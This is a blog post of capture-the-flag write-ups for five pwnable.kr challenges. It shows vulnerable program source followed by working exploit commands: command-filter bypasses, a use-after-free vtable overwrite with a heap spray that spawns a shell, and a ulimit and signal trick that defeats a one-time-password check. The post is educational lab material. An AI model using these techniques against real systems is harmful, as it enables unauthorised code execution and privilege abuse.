Pwnables Write-ups (October 2017)

Pwnables Write-ups (October 2017)

It's been nearly a year since I played my last competitive Capture The Flag (CTF); life has kept me busy and I haven't had time to practice much. Recently, me and a buddy decided to start practicing again so that we could get back to competing in the near future.

I decided to start slow and warm up by spending a few hours tackling some problems on http://pwnable.kr. It's been a while since I've written a blog, so I figured it would be nice to do some quick write-ups of the challenges I solved. I do expect a portion of my audience to already understand this stuff quite well, as these challenges are quite simple compared to what you'd typically find in a competitive CTF. Nevertheless, I figure if the blog teaches anything to even one person, it's worth the time. Here goes!

cmd1 (1 point)

Mommy! what is PATH environment in Linux?

ssh cmd1@pwnable.kr -p2222 (pw:guest)

When dropping into the box and checking the directory, we see three files:

cmd1@ubuntu:~$ ls
cmd1  cmd1.c  flag

As expected, we don't have access to view flag. The typical way this site works is that the program (cmd1 in this case) does have those rights, and we must trick it into showing us the flag. Luckily, we have the code, so we don't have to do much reverse engineering:

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "flag")!=0;
        r += strstr(cmd, "sh")!=0;
        r += strstr(cmd, "tmp")!=0;
        return r;
}
int main(int argc, char* argv[], char** envp){
        putenv("PATH=/fuckyouverymuch");
        if(filter(argv[1])) return 0;
        system( argv[1] );
        return 0;
}

So, this program will execute any command we give it, as long as the command doesn't contain flag, sh, or tmp. It also nukes the PATH, meaning we can only use builtin commands. This may look tricky, but it's actually pretty manageable. We can use the export builtin to restore the PATH variable, giving us access to cat. Then we can use a wildcard to cat flag without typing the whole string:

cmd1@ubuntu:~$ ./cmd1 'export PATH=/bin && cat fl*'
<flag redacted, try it yourself!>

And that's all we need to do!

cmd2 (9 points)

Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission...
but I wanna play anytime I want!

ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)

This challenge is just a harder remix of the previous one. The source is as follows:

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "=")!=0;
        r += strstr(cmd, "PATH")!=0;
        r += strstr(cmd, "export")!=0;
        r += strstr(cmd, "/")!=0;
        r += strstr(cmd, "`")!=0;
        r += strstr(cmd, "flag")!=0;
        return r;
}

extern char** environ;
void delete_env(){
        char** p;
        for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
        delete_env();
        putenv("PATH=/no_command_execution_until_you_become_a_hacker");
        if(filter(argv[1])) return 0;
        printf("%s\n", argv[1]);
        system( argv[1] );
        return 0;
}

Looks like they expected we'd use export to restore PATH, so they've cut off that route this time around. They've also prevented us from using /, which means we can't just cd into /bin and ./ our way to victory. One thing I did notice, though, is that they're no longer blocking us from using tmp in our commands. This is very handy. We still have builtins here, so all I really needed to figure out was how I could use them to construct a command. The first realization I had was that I could use pwd to get the working directory. In addition, I could use the $(pwd) syntax to place the result of pwd as a part of another command. I realized that I could concatenate this output with a leading ., since pwd leads with a /, to achieve the ./ for executing commands from my working directory.

Knowing this, I first prepared a helper script:

cmd2@ubuntu:~$ echo "export PATH=/bin && cat /home/cmd2/flag" > /tmp/tmpnick
cmd2@ubuntu:~$ chmod +x /tmp/tmpnick

Next, I constructed a command which would cd into tmp, then concatenate ., the result of pwd, and the string nick to execute the command ./tmpnick inside of the tmp directory, effectively executing my helper script:

cmd2@ubuntu:~$ ./cmd2 'cd .. && cd .. && cd tmp && .$(echo $(pwd)nick)'
cd .. && cd .. && cd tmp && .$(echo $(pwd)nick)
<flag redacted, try it yourself!>

If the source code is right, I guess I'm officially a hacker now...

uaf (8 pt)

Mommy, what is Use After Free bug?

ssh uaf@pwnable.kr -p2222 (pw:guest)

This time, we're dealing with a use-after-free bug. This is some pseudo-realistic exploitation, which is much funner (in my opinion). Here's the code:

#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
        virtual void give_shell(){
                system("/bin/sh");
        }
protected:
        int age;
        string name;
public:
        virtual void introduce(){
                cout << "My name is " << name << endl;
                cout << "I am " << age << " years old" << endl;
        }
};

class Man: public Human{
public:
        Man(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);

        size_t len;
        char* data;
        unsigned int op;
        while(1){
                cout << "1. use\n2. after\n3. free\n";
                cin >> op;

                switch(op){
                        case 1:
                                m->introduce();
                                w->introduce();
                                break;
                        case 2:
                                len = atoi(argv[1]);
                                data = new char[len];
                                read(open(argv[2], O_RDONLY), data, len);
                                cout << "your data is allocated" << endl;
                                break;
                        case 3:
                                delete m;
                                delete w;
                                break;
                        default:
                                break;
                }
        }

        return 0;
}

Essentially, there's 3 things this program can do: call m->introduce() followed by w->introduce(), allocate a buffer of length N and fill it with data from file F (where N and F come from the command line), or free the memory for m and w. It allows us to do these things in any order, as much as we want.

The goal here is to attack the application with a use-after-free exploit. Specifically, we want to free m and w, overwrite their memory with specially-crafted memory which will trick the program into thinking that give_shell() is introduce(), and then execute m->introduce().

Before we dive into the attack, let's look at exactly what we're attacking. Both m and w are defined as instance of the Human class. If we boil this class down to it's component members, we get this:

class Human {
    int age;
    string name;
};

Which, at first glance, seems like it should take sizeof(int) + sizeof(string) bytes. But this isn't actually the case. Because Human is a class with virtual functions, the first element in the class will be a void* which points to an array containing the function addresses for give_shell() and introduce(). This Virtual Function Table (VFT) exists so that derived classes can point to alternative function arrays which expose the functionality of their virtual functions.

So, at second glance, it seems like this class will take sizeof(void*) + sizeof(int) + sizeof(string) bytes. This is correct for 32-bit. In 64-bit programs, which this happens to be, the int is still size 4, but 4 extra bytes of padding are added to make the values align on an 8-byte boundary. This isn't too important for our attack, but it's good to know.

To summarize, both m and w will look something like this in memory

<08 byte VFT>
<04 byte age>
<04 byte padding>
<32 byte string>

The give_shell() virtual function is defined first, so we can assume the VFTs will look like this

<08 byte &give_shell>
<08 byte &introduce>

Which means our end goal is decrement the VFT of m by 8 bytes. This will work because the address of give_shell() is 8 bytes before introduce(). In order to do this, we must find the address of the VFT m. The first step we need to do is find the address of the main function so that we can set up a breakpoint; this is quite easy using objdump:

uaf@ubuntu:~$ objdump -d uaf | grep '<main>'
0000000000400ec4 <main>:

Then we can run it in gdb, place our breakpoint, and run the program:

uaf@ubuntu:~$ gdb --args ./uaf
(gdb) b *0x0000000000400ec4
Breakpoint 1 at 0x400ec4
(gdb) r
Starting program: /home/uaf/uaf
Breakpoint 1, 0x0000000000400ec4 in main ()
(gdb)

Once we've hit our breakpoint, we can drop into the disassembler:

(gdb) set disassembly-flavor intel
(gdb) layout asm

If we carefully look through the assembly code, we find this in main:

0x400fc3 <main+255>     cmp    eax,0x1                                             
0x400fc6 <main+258>     je     0x400fcd <main+265>

This cmp is the implementation of case 1:, and the je is what jumps to the block of code responsible for calling m->introduce():

0x400fcd <main+265>     mov    rax,QWORD PTR [rbp-0x38]
0x400fd1 <main+269>     mov    rax,QWORD PTR [rax]
0x400fd4 <main+272>     add    rax,0x8
0x400fd8 <main+276>     mov    rdx,QWORD PTR [rax]
0x400fdb <main+279>     mov    rax,QWORD PTR [rbp-0x38]
0x400fdf <main+283>     mov    rdi,rax
0x400fe2 <main+286>     call   rdx

The important command here is add rax, 0x8, which is taking the first value from the VFT in rax and incrementing it by 8 bytes to get the address of introduce(). So, if we drop a breakpoint here, we can get the VFT address from rax:

(gdb) b *0x400fd4
Breakpoint 2 at 0x400fd4
(gdb) c
1. use
2. after
3. free
1
Breakpoint 2, 0x0000000000400fd4 in main ()

After inputting option 1, our breakpoint gets hit, and we can get the VFT:

(gdb) info registers rax
rax            0x401570

Now that we have the VTF address, we can craft our exploit. We subtract 8 to get 0x401568, pad the value up to 8 bytes, and echo it to a file keeping in mind to flip it because of little endianness:

uaf@ubuntu:~$ echo -e '\x68\x15\x40\x00\x00\x00\x00\x00' > /tmp/uafattack

Now, we can run the program and instruct it to load 8 bytes from /tmp/uafattack when we execute option 2:

uaf@ubuntu:~$ ./uaf 8 /tmp/uafattack

Once the application is running, we must free the memory with option 3 and heap spray with option 2. Heap spraying is essentially repeatedly allocating a memory with the hope it eventually lands somewhere predictable (in our case, where m used to be). This is a relatively simple application, which means spraying the heap only a few times is sufficient (works with 4 tries for me). In a more complex application, however, you might have to heap spray thousands of times with a payload that matches the exact size of the object you are replacing.

Once the heap spray is done, we can execute option 1 to get a shell:

uaf@ubuntu:~$ ./uaf 8 /tmp/nsolve
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
<flag redacted, try it yourself!>

And viola, we've attacked a simple user-after-free vulnerability.

otp (100 points)

I made a skeleton interface for one time password authentication system.
I guess there are no mistakes.
could you take a look at it?

hint : not a race condition. do not bruteforce.

ssh otp@pwnable.kr -p2222 (pw:guest)

I took a look at the code for this and, I have to admit, it stumped me for a while:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

int main(int argc, char* argv[]){
        char fname[128];
        unsigned long long otp[2];

        if(argc!=2){
                printf("usage : ./otp [passcode]\n");
                return 0;
        }

        int fd = open("/dev/urandom", O_RDONLY);
        if(fd==-1) exit(-1);

        if(read(fd, otp, 16)!=16) exit(-1);
        close(fd);

        sprintf(fname, "/tmp/%llu", otp[0]);
        FILE* fp = fopen(fname, "w");
        if(fp==NULL){ exit(-1); }
        fwrite(&otp[1], 8, 1, fp);
        fclose(fp);

        printf("OTP generated.\n");

        unsigned long long passcode=0;
        FILE* fp2 = fopen(fname, "r");
        if(fp2==NULL){ exit(-1); }
        fread(&passcode, 8, 1, fp2);
        fclose(fp2);

        if(strtoul(argv[1], 0, 16) == passcode){
                printf("Congratz!\n");
                system("/bin/cat flag");
        }
        else{
                printf("OTP mismatch\n");
        }

        unlink(fname);
        return 0;
}

All of the buffer sizes and offsets are correct. /dev/urandom isn't predictable and I'm quite sure there's no attack against it. The input is properly validated. Where the hell is the bug?

After some thought, I realized that if I could get fread(&passcode, 8, 1, fp2) to fail, passcode would remain as 0. However, the /tmp directory is off-limits, the file name is seeded from /dev/urandom (and, thus, isn't predictable), and I couldn't find any way to mess with the file permissions of the program (and even if I could, it would cause failure upon the first fopen() call, closing the program).

After some creative Google-fu, I found out about the ulimit command. This command effectively allows one to manage the amount of resources given to the current shell as well as the applications which are executed within in. More specifically, the -f option allows one to control how many bytes a file is allowed to be. I gave this a try, but it spit an error back at me:

otp@ubuntu:~$ ulimit -f 0
otp@ubuntu:~$ ./otp 0
File size limit exceeded

After a bit more Googling, I realized that this error is actually propagated as a signal. In Linux, signals can be ignored, and this ignorance can be inherited by child processes. Using Python, we can ignore a signal like so:

import signal
signal.signal(signal.SIGXFSZ, signal.SIG_IGN)

With this, we can create a one-liner which calls ulimit and uses Python to block the signal and execute the program:

otp@ubuntu:~$ ulimit -f 0 && python -c "import os, signal; signal.signal(signal.SIGXFSZ, signal.SIG_IGN); os.system('./otp 0')"
OTP generated.
Congratz!
<flag redacted, try it yourself!>

And we've got a flag! Let's quickly clarify what happened here:

Using ulimit -f 0, we caused fwrite(&otp[1], 8, 1, fp); to fail. The file got created, but contained 0 bytes of data. Using signal.signal(signal.SIGXFSZ, signal.SIG_IGN), we caused the program to ignore the failure of fwrite(), which would normally be sent as a signal. This allowed the program to continue execution. Then, because the file was empty, fread(&passcode, 8, 1, fp2); failed, making passcode retain the value of 0, causing the check to pass.

I must say, this was a pretty creative challenge, as it required to author to have some pretty abstract thinking about some obscure Linux features. Once I realized what needed to be done, the solution was much less involved than some lower point challenges, but it required a lot of research.

lotto (2 points)

Mommy! I made a lotto program for my homework.
do you want to play?

ssh lotto@pwnable.kr -p2222 (pw:guest)

This challenge is a simple lottery application, the source is as follows:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){

        int i;
        printf("Submit your 6 lotto bytes : ");
        fflush(stdout);

        int r;
        r = read(0, submit, 6);

        printf("Lotto Start!\n");
        //sleep(1);

        // generate lotto numbers
        int fd = open("/dev/urandom", O_RDONLY);
        if(fd==-1){
                printf("error. tell admin\n");
                exit(-1);
        }
        unsigned char lotto[6];
        if(read(fd, lotto, 6) != 6){
                printf("error2. tell admin\n");
                exit(-1);
        }
        for(i=0; i<6; i++){
                lotto[i] = (lotto[i] % 45) + 1;         // 1 ~ 45
        }
        close(fd);

        // calculate lotto score
        int match = 0, j = 0;
        for(i=0; i<6; i++){
                for(j=0; j<6; j++){
                        if(lotto[i] == submit[j]){
                                match++;
                        }
                }
        }

        // win!
        if(match == 6){
                system("/bin/cat flag");
        }
        else{
                printf("bad luck...\n");
        }

}

void help(){
        printf("- nLotto Rule -\n");
        printf("nlotto is consisted with 6 random natural numbers less than 46\n");
        printf("your goal is to match lotto numbers as many as you can\n");
        printf("if you win lottery for *1st place*, you will get reward\n");
        printf("for more details, follow the link below\n");
        printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
        printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

        // menu
        unsigned int menu;

        while(1){

                printf("- Select Menu -\n");
                printf("1. Play Lotto\n");
                printf("2. Help\n");
                printf("3. Exit\n");

                scanf("%d", &menu);

                switch(menu){
                        case 1:
                                play();
                                break;
                        case 2:
                                help();
                                break;
                        case 3:
                                printf("bye\n");
                                return 0;
                        default:
                                printf("invalid menu\n");
                                break;
                }
        }
        return 0;
}

I quickly singled out play(), and realized that the lotto score loop is flawed:

// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
    for(j=0; j<6; j++){
        if(lotto[i] == submit[j]){
            match++;
        }
    }
}

 // win!
if(match == 6){
    system("/bin/cat flag");
}
else{
    printf("bad luck...\n");
}

The intention is to allow the numbers to match in any order, but what this loop will actually do is trigger a win if any one value from submit matches any one value from lotto. Notice that this is only true if there is a single match, as the code checks for match == 6, not match >= 6, and there are 6 numbers in the lotto.

I could have written a script to automate this, but a realized there was roughly a 1 in (46 / 6) chance of me getting it by hand, so I just did that (the ascii char - is 45 in decimal, which is the highest value allowed in the lotto):

lotto@ubuntu:~$ ./lotto
- Select Menu -
1. Play Lotto
2. Help
3. Exit
1
Submit your 6 lotto bytes : ------
Lotto Start!
bad luck...
<10 tries later>
Submit your 6 lotto bytes : ------
Lotto Start!
<flag redacted, try it yourself!>

If only winning the real lottery was this easy, we could all be rich!

Closing Thoughts

These were some pretty basic challenges, but they were still quite fun. If you found the challenges interesting, you can head over to http://pwnable.kr and play some yourself; they have dozens!

In a real CTF, the challenges will be comprised of layers upon layers of these smaller challenges. The challenges can be extremely frustrating and mind numbing, but they're still very fun, and I'd recommend them to anybody who wants to become better at hacking, software development, or critical thinking.